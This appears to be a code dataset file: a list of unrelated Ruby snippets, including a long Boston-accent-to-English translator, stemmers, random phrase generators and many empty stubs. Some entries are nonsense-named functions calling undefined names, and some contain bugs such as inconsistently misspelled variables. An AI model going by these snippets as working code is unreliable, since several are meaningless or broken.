signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend","def kids_musical; end","def biome; end","def do_process(ps )\n word = nil\n buf = \"\"\n tokens = ps.sentence.split(/[ \\t]/)\n \n for word in tokens do\n #문자열의 길이가 최대 허용치보다 길다면...\n if word.length() > REPEAT_CHAR_ALLOWED then\n repaedCnt = 0\n checkChar = word[0]\n \n buf << checkChar\n \n for i in 1..(word.length-1) do\n if checkChar == word[i] then\n if repaetCnt == (REPEAT_CHAR_ALLOWED-1) then\n buf << \" \"\n buf << word[i]\n repeatCnt = 0\n else\n buf << word[i]\n repeadCnt +=1\n end\n else\n if checkChar == \".\" then\n buf << \" \"\n end\n \n buf << word[i]\n checkChar = word[i]\n repeadCnt = 0\n end\n end\n else\n buf << word\n end\n buf << \" \"\n end\n ps.sentence=buf\n return ps\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end","def stem_porter\n\n # make a copy of the given object and convert it to a string.\n w = self.dup.to_str\n \n return w if w.length < 3\n \n # now map initial y to Y so that the patterns never treat it as vowel\n w[0] = 'Y' if w[0] == ?y\n \n # Step 1a\n if w =~ /(ss|i)es$/\n w = $` + $1\n elsif w =~ /([^s])s$/ \n w = $` + $1\n end\n\n # Step 1b\n if w =~ /eed$/\n w.chop! if $` =~ MGR0 \n elsif w =~ /(ed|ing)$/\n stem = $`\n if stem =~ VOWEL_IN_STEM \n w = stem\n\tcase w\n when /(at|bl|iz)$/ then w << \"e\"\n when /([^aeiouylsz])\\1$/ then w.chop!\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \"e\"\n end\n end\n end\n\n if w =~ /y$/ \n stem = $`\n w = stem + \"i\" if stem =~ VOWEL_IN_STEM \n end\n\n # Step 2\n if w =~ SUFFIX_1_REGEXP\n stem = $`\n suffix = $1\n # print \"stem= \" + stem + \"\\n\" + \"suffix=\" + suffix + \"\\n\"\n if stem =~ MGR0\n w = stem + STEP_2_LIST[suffix]\n end\n end\n\n # Step 3\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\n stem = $`\n suffix = $1\n if stem =~ MGR0\n w = stem + STEP_3_LIST[suffix]\n end\n end\n\n # Step 4\n if w =~ SUFFIX_2_REGEXP\n stem = $`\n if stem =~ MGR1\n w = stem\n end\n elsif w =~ /(s|t)(ion)$/\n stem = $` + $1\n if stem =~ MGR1\n w = stem\n end\n end\n\n # Step 5\n if w =~ /e$/ \n stem = $`\n if (stem =~ MGR1) ||\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\n w = stem\n end\n end\n\n if w =~ /ll$/ && w =~ MGR1\n w.chop!\n end\n\n # and turn initial Y back to y\n w[0] = 'y' if w[0] == ?Y\n\n w\n end","def step1(str)\n r1,r2 = r12(str)\n r1_text = str[r1..-1]\n r2_text = str[r2..-1]\n\n case r2_text\n when /(anzas?|ic[oa]s?|ismos?|[ai]bles?|istas?|os[oa]s?|[ai]mientos?)$/i\n str[%r{#$&$}]=''\n return true\n when /(ic)?(ador([ae]s?)?|aci[óÓ]n|aciones|antes?|ancias?)$/ui\n str[%r{#$&$}]=''\n return true\n when /log[íÍ]as?/ui\n str[%r{#$&$}]='log'\n return true\n when /(uci([óÓ]n|ones))$/ui\n str[%r{#$&$}]='u'\n return true\n when /(encias?)$/i\n str[%r{#$&$}]='ente'\n return true\n end\n\n if r2_text =~ /(ativ|iv|os|ic|ad)amente$/i or r1_text =~ /amente$/i\n str[%r{#$&$}]=''\n return true\n end\n\n case r2_text\n when /((ante|[ai]ble)?mente)$/i, /((abil|i[cv])?idad(es)?)$/i, /((at)?iv[ao]s?)$/i\n str[%r{#$&$}]=''\n return true\n end\n false\n end","def future_passive_participle\n mybase = participial_stem+\"nd\"\n singular_endings=%w(us a um)\n return singular_endings.collect{|x|Linguistics::Latin::Phonographia.fix_macrons( mybase+\"#{x}\".chomp)}.join(', ')\n end","def obfuscate(text); end","def most_interesting_man_in_the_world; end","def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end","def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend","def nasa_space_craft; end","def meme_phrase; end","def get_trite_disc_nickname\n adjectives=\n [ \"astounding\",\n \"batshit\",\n \"benign\",\n \"cracked\",\n \"creased\",\n \"crunched\",\n \"crippled\",\n \"crushed\",\n \"dismayed\",\n \"doomed\",\n \"flamenco-dancing\",\n \"folded\",\n \"harmless\",\n \"hazed\",\n \"inebriated\",\n \"inert\",\n \"malignant\",\n \"maligned\",\n \"marbled\",\n \"mutilated\",\n \"oblate\",\n \"obnoxious\",\n \"obsolete\",\n \"pathetic\",\n \"particular\",\n \"polycarbonate\",\n \"perky\",\n \"sad\",\n \"scored\",\n \"scratched\",\n \"screwy\",\n \"scuffed\",\n \"soul-crushing\",\n \"spindled\",\n \"spiralled\",\n \"splattered\",\n \"toothpaste-covered\",\n \"unbalanced\",\n \"verboten\",\n \"wafer-thin\"\n ]\n\n nouns =\n [ \"artifact\",\n \"chunk of your past\",\n \"disc\",\n \"donut\",\n \"frisbee\",\n \"hocky puck\",\n \"orblette\"]\n \n description = adjectives.sample\n\n while [true,false].sample do\n adj = adjectives.sample\n if !description.include? adj\n description+=\", \"+adj\n end\n end\n\n description+=\" \"+nouns.sample\nend","def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\n antispadix_provencalize(galactophthysis, saintlike)\n japheth(auresca, squamatine, vitalist_pheal)\n end","def mis_ramos\n\n\tend","def terpene; end","def wookiee_sentence; end","def in_law; end","def word\n i = rand(78)\n if i <= 2\n \"ie\"\n elsif i <= 3\n \"au\"\n elsif i < 10\n v + c\n elsif i < 17\n c + v\n elsif i < 25\n v + c + v\n elsif i < 33\n c + v + c\n elsif i < 43\n v + c + v + c\n elsif i < 53\n c + v + c + v\n elsif i < 68\n v + c + v + c + v\n elsif i < 71\n c + v + c + v + c\n elsif i < 74\n v + c + v + c + v + c\n elsif i < 76\n c + v + c + v + c + v\n elsif i < 77\n v + c + v + c + v + c + v\n elsif i <= 78\n c + v + c + v + c + v + c\n end\nend","def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end","def schumann; end","def motto; end","def romeo_and_juliet_quote; end","def scientist; end","def bs\n [\n [\"реализации\", \"использовать\", \"интеграция\", \"рационализации\", \"оптимизация\", \"развиваться\", \"преобразовать\", \"объятия\", \"включить\", \"организовать\", \"рычаг\", \"изобретать\", \"агрегат \",\" архитектор \",\" повысить \",\" стимулирования \",\" морфинг \",\" расширение прав и возможностей \",\" envisioneer \",\" монетизировать \",\" запрягать \",\" содействовать \",\" захват \",\" disintermediate\", \"развернуть\", \"бренд\", \"расти\", \"цель\", \"синдикат\", \"синтез\", \"доставить\", \"сетка\", \"высиживать\", \"заниматься\", \"максимально\", \" увидеть \",\" перепрофилирование \",\" инновации \",\" масштаб \",\" развязать \",\" драйв \",\" расширить \",\" инженер \",\" революцию \", \"генерировать\", \"эксплуатировать\", \"переход\", \"д включить\", \"перебора\", \"возделывать\", \"матрица\", \"пересмотреть\"].rand,\n [\"кликов и минометных\", \"добавленную стоимость\", \"вертикальная\", \"активный\", \"надежный\", \"революционный\", \"масштабируемый\", \"передовые\", \"инновационный\", \"интуитивной\"].rand,\n [\"взаимодействие\", \"веб-готовность\", \"парадигм\", \"рынки\", \"партнерские\", \"инфраструктура\", \"платформ\", \"инициатив\", \"каналы\", \"глаза\", \"общины\", \"рентабельность\", \"решения\", \"интернет-магазинах», «электронных услуг», «действие пунктов\", \"порталы\", \"ниши\", \"технологии\", \"содержание\"].rand\n ].join(' ')\n end","def malts; end","def buzzword; end","def buzzword; end","def pectoralis_stretch\n \"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\"\nend","def indefinite_possessive_pronoun\n return \"its\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def therapist_quest; end","def ninety_nine_bottles_of_beer\nend","def ninety_nine_bottles_of_beer\nend","def ninety_nine_bottles_of_beer\nend","def cracklepop1\n def aux x\n /[A-Z]+/i.match(x.to_s).to_s\n end\n (1..100).map do |i|\n x = i%3==0 ? 'crackle' : i\n i%5==0 ? (aux(x)+'pop') : x\n end\nend","def indefinite_personal_subjective_pronoun\n return \"it\"\n end","def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\n unsuckled_catsup(apterygota, unfightable_phoneticist)\n end","def war_sword # todo: check this matches when 5 are bought\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 02 66 03 01 .. FF FF FF\n FF .. .. .. .. 31 19 01 0B 01 00 00 00 10 00 00\n 00 4E 00 00 00 00 00 00 00 01 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 9F 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend","def catch_phrase\n [\n [\"Фирма1\", \"Суперфирма\", \"Фирма3\", \"ПанСамСклепав\"].rand,\n [\"24 часа\", \"24/7\", \"круглосуточно\", \"3 года на рынке\"].rand,\n [\"доступно\", \"быстро\", \"надежно\"].rand\n ].join(' ')\n end","def convertToBoard(text)\n response=text\n\n responseArray=response.split(\" \")\n # responseArray = Capture.find(:all)\n responseArray.delete('and')\n # responseArray.reject! { |item| item.text =~ 'and' }\n puts response.size\n puts responseArray.size\n if responseArray.size==1\n if response.size<=4\n response=response.upcase\n else \n puts \"shortening response\"\n response=response[0..3].upcase\n end\n elsif responseArray.size==2\n if not is_num(responseArray[1])\n if responseArray[0].size<=3\n response=responseArray[0][0..responseArray[0].size].upcase + responseArray[1][0].upcase\n else\n response=responseArray[0][0..2].upcase + responseArray[1][0].upcase\n end\n else\n if responseArray[1].size>=2\n response=responseArray[0][0..1].upcase + responseArray[1][responseArray[1].size-3..responseArray[1].size-1]\n else\n response=responseArray[0][0..1].upcase + responseArray[1][0..responseArray[1].size-1]\n end\n end\n else\n puts\"size invalid\"\n response=responseArray[0][0].upcase+responseArray[1][0].upcase+responseArray[2][0].upcase\n end\n return response\nend","def termsig(*) end","def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt 